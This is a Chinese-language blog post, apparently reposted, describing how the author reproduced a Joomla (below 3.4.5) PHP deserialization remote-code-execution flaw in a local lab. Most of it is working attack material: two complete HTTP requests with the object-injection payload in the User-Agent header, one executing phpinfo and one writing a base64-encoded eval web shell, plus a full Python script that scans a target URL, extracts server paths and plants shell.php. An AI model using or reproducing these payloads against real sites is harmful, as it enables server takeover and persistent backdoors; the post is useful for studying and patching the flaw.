Joomla反序列化通殺漏洞(版本低於3.4.5)復現的那些坑

      這是最近流出來的一個漏洞,利用Joomla反序列化能夠形成遠程代碼執行。關於該漏洞的分析能夠參考一下連接:javascript

      wooyun drops上的:http://drops.wooyun.org/papers/11330php

      Freebuf上的:http://www.freebuf.com/vuls/89754.htmlhtml

      360播報上的:http://bobao.360.cn/learning/detail/2501.htmljava

      自定義生成Exp序列化的程序:http://sandbox.onlinephpfunctions.com/code/d7a86325f725cbe9e7a60ef696d65593f6abdc1fpython

      在這裏,記錄一下我本身復現漏洞時候遇到的坑。細節很重要吶,最後復現成功才發現問題所在。sql

      首先是關於phpinfo的代碼執行,這個復現起來比較簡單。Exp以下:shell

GET /joomla/ HTTP/1.1
Host: 192.168.145.130
User-Agent: }__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:31:"phpinfo();JFactory::get();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}~Ù
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cache-Control: max-age=0

      首先是發送帶Exp的包,獲取cookie:服務器

1

      而後用獲取的cookies再次發包便可完成代碼執行:cookie

2

      這裏要特別注意截斷的那幾個字符是否是正確,這個是關鍵。看一下那幾個字符(只要是utf-8中4字節的均可以,範圍U+010000至U+10FFFF,具體緣由能夠參照前面漏洞分析):app

3

      好了,關於代碼執行的復現到此爲止。

      咱們接下來完成一句話的復現,在這裏花了比較多的時間。我採用的是file_put_contents函數來寫入一句話,這裏特別強調一點,寫入的地址是要使用路徑絕對地址的,否則寫入不成功。坑呀!

      關於Web服務器網站路徑,能夠在phpinfo執行的時候獲取到,而後拼接出shell的地址便可。對要寫入的內容能夠用base64先編碼,而後file_put_contents的時候解碼便可。

      Exp的內容以下:

GET /joomla/ HTTP/1.1
Host: 192.168.145.130
User-Agent: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:143:"file_put_contents('E://xampp//htdocs//Joomla//shell.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7ID8+'));;JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}𝌆
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Forwarded-For: 8.8.8.8
DNT: 1
Connection: keep-alive
Cache-Control: max-age=0

      看下成功的Exp截圖:

4

      獲取shell的流程和以前是同樣的,先發送帶Exp的包,而後包含獲取的cookie的包,便可寫入一句話了。

      最後,修改了一個能夠Getshell的利用腳本:

#!/usr/bin/env python
import requests
import sys
import time
import re
def rceJoomla(value):
    now = time.strftime('%H:%M:%S',time.localtime(time.time()))
    print "["+str(now)+"] [INFO] Checking Joomla 1.5 - 3.4.5 Remote Code Execution..."
    if 'http://' in value or 'https://' in value:
      url=value
      checkJoomlaRCE(url)
def checkJoomlaRCE(url):
    url = url.strip()
    reg = 'http[s]*://.*/$'
    m = re.match(reg,url)
    if not m:
        url = url + "/"
    poc = generate_payload("phpinfo();")
    try:
        result = get_url(url, poc)
        if 'phpinfo()' in result:
            system = getInfoByJoomlaRCE(result, 'System')
            document_root = getInfoByJoomlaRCE(result, 'DOCUMENT_ROOT')
            script_filename = getInfoByJoomlaRCE(result, 'SCRIPT_FILENAME')
            shell_file = getShellByJoomlaRCE(url, system, script_filename)
            vuls='[+]vuls found! url: '+url+'\n[+]System: '+system+'\n[+]document_root: '+document_root+'\n[+]script_filename: '+script_filename+'\n[+]shell_file: '+shell_file
            print vuls
        else:
            print '[!] no vuls! url: '+url
    except Exception,e:
        print '[!] connection failed! url: '+url
def get_url(url, user_agent):
    headers = {
    'User-Agent': user_agent
    }
    cookies = requests.get(url,headers=headers).cookies
    for _ in range(3):
        response = requests.get(url, timeout=10, headers=headers, cookies=cookies)
    return response.content
def generate_payload(php_payload):
    php_payload = php_payload
    terminate = '\xf0\x9d\x8c\x86'
    exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
    injected_payload = "{};JFactory::getConfig();exit".format(php_payload)
    exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
    exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
    # print exploit_template
    return exploit_template
def getInfoByJoomlaRCE(result, param):
    if "System" in param:
        reg = '.*<tr><td class="e">System </td><td class="v">([^<>]*?)</td></tr>.*'
    elif "DOCUMENT_ROOT" in param:
        reg = '.*<tr><td class="e">DOCUMENT_ROOT </td><td class="v">([^<>]*?)</td></tr>.*'
    elif "SCRIPT_FILENAME" in param:
        reg = '.*<tr><td class="e">SCRIPT_FILENAME </td><td class="v">([^<>]*?)</td></tr>.*'
    match_url = re.search(reg,result)
    if match_url:
       info=match_url.group(1)
    else:
        info = 'no info!'
    return info
def getShellByJoomlaRCE(url, system, script_filename):
    if 'no info' not in script_filename and 'no info' not in system:
        if 'Windows' in system:
            shell = script_filename.split('index.php')[0].replace('/','//').strip()+"shell.php"
        else:
            shell = script_filename.split('index.php')[0]+"shell.php"
        cmd ="file_put_contents('"+shell+"',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7ID8+'));"
        pl = generate_payload(cmd)
        try:
            get_url(url, pl)
            return url+"shell.php"
        except Exception, e:
            return "no info!"
    else:
        return "no info!"
def main():
    rceJoomla(sys.argv[1])
if __name__ == '__main__':
    main()

      來看下,在本地環境下的測試截圖:(一句話名字:shell.php,密碼:cmd)

5

相關文章
相關標籤/搜索